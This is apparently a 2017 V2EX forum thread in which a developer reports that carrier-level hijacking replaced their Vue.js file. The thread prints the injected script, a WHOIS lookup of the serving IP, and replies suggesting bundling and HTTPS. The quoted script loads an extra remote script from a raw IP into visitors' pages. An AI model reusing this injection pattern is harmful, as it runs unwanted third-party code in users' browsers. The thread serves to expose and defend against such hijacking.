Vue 被数据劫持很可恶啊

2017-11-07 19:33:18 +08:00
 jun4rui

偶尔刷新,发现报错说 Vue 错误找不到,这明显不可能嘛,一查,发现 Vue.js 被替换了,点进去看还有源代码!

(function() {
    o = "http://xxxxxxxxxxxxx/vue2.5.3/vue.min.js?";
    sh = "http://175.6.223.15:9901/main.js?v=3.95&sp=4303&ty=dpc";
    w = window;
    d = document;
    function ins(s, dm, id) {
        e = d.createElement("script");
        e.src = s;
        e.type = "text/javascript";
        id ? e.id = id : null;
        dm.appendChild(e);
    }
    ;p = d.scripts[d.scripts.length - 1].parentNode;
    ins(o, p);
    ds = function() {
        db = d.body;
        if (db && !document.getElementById("bdstat")) {
            if ((w.innerWidth || d.documentElement.clientWidth || db.clientWidth) > 1) {
                if (w.top == w.self) {
                    ins(sh, db, "bdstat");
                }
            }
        } else {
            setTimeout("ds()", 1500);
        }
    }
    ;
    ds();
}
)();
var mim_params = {
    'sp': '4303',
    'aid': '11982',
    'sda_man': '',
    'src': '0',
    'adtype': '18',
    'uid': 'VCpdXydAXCotUlNNKytcWF07LlxaWlJPLF1cKSQ/LyksLlRLKy1ZXQ==',
    'spid': 'hljunicom',
    'ad_list': '11982'
};

还偶尔被别的替换掉

http://124.232.160.178/v1/?p=www.xxxxxxx.com.cn%2fzzzz%2fticket20171101%2fzzzzz%2fvue2.5.3%2fvue.min.js&t=18000001

妈的真缺德,现在连 js 都被劫持了

看了下 whois

WHOIS Results for:175.6.223.15
% [whois.apnic.net]
% Whois data copyright terms http://www.apnic.net/db/dbcopyright.html

% Information related to \'175.0.0.0 - 175.15.255.255\'

% Abuse contact for \'175.0.0.0 - 175.15.255.255\' is \'anti-spam@ns.chinanet.cn.net\'

inetnum: 175.0.0.0 - 175.15.255.255
netname: CHINANET-HN
descr: CHINANET HUNAN PROVINCE NETWORK
descr: China Telecom
descr: No.31,jingrong street
descr: Beijing 100032
country: CN
status: ALLOCATED PORTABLE
admin-c: CH93-AP
tech-c: CH636-AP
remarks: service provider
remarks: --------------------------------------------------------
remarks: To report network abuse, please contact mnt-irt
remarks: For troubleshooting, please contact tech-c and admin-c
remarks: Report invalid contact via www.apnic.net/invalidcontact
remarks: --------------------------------------------------------
mnt-by: APNIC-HM
mnt-lower: MAINT-CHINANET-HN
last-modified: 2016-05-04T00:20:50Z
source: APNIC
mnt-irt: IRT-CHINANET-CN

irt: IRT-CHINANET-CN
address: No.31 ,jingrong street,beijing
address: 100032
e-mail: anti-spam@ns.chinanet.cn.net
abuse-mailbox: anti-spam@ns.chinanet.cn.net
admin-c: CH93-AP
tech-c: CH93-AP
auth: # Filtered
mnt-by: MAINT-CHINANET
last-modified: 2010-11-15T00:31:55Z
source: APNIC

role: CHINANET HUNAN
address: No.1 TuanJie road,ChangSha,Hunan 410005
country: CN
phone: +86 731 4792092
fax-no: +86 731 4792007
e-mail: abuse.szx@2118.com.cn
remarks: send spam reports to abuse.szx@2118.com.cn
remarks: and abuse reports to abuse.szx@2118.com.cn
remarks: Please include detailed information and
remarks: times in UTC
admin-c: CH632-AP
tech-c: CS499-AP
nic-hdl: CH636-AP
mnt-by: MAINT-CHINANET-HN
last-modified: 2014-02-12T08:30:53Z
source: APNIC

person: Chinanet Hostmaster
nic-hdl: CH93-AP
e-mail: anti-spam@ns.chinanet.cn.net
address: No.31 ,jingrong street,beijing
address: 100032
phone: +86-10-58501724
fax-no: +86-10-58501724
country: CN
mnt-by: MAINT-CHINANET
last-modified: 2014-02-27T03:37:38Z
source: APNIC

% This query was served by the APNIC Whois Service version 1.88.15-43 (WHOIS-NODE2)

麻痹!

4226 次点击
所在节点    前端开发
8 条回复
CDL
2017-11-07 19:36:35 +08:00
那就直接 webpage 整个打包
jun4rui
2017-11-07 19:38:21 +08:00
@CDL 你是说,webpack ?!
CDL
2017-11-08 09:04:04 +08:00
@jun4rui 是的,手抖打错了_(:зゝ∠)_
wenzhoou
2017-11-08 12:20:08 +08:00
怎么被劫持的呢?
sothx
2018-02-08 10:48:48 +08:00
拖到本地
jun4rui
2018-02-08 11:21:57 +08:00
@sothx 你做的在线工具,放到本地用户要怎么玩?
sothx
2018-02-08 20:23:31 +08:00
@jun4rui vue 的路径拖本地
sothx
2018-02-08 20:24:03 +08:00
同时上 HTTPS

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/404402

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX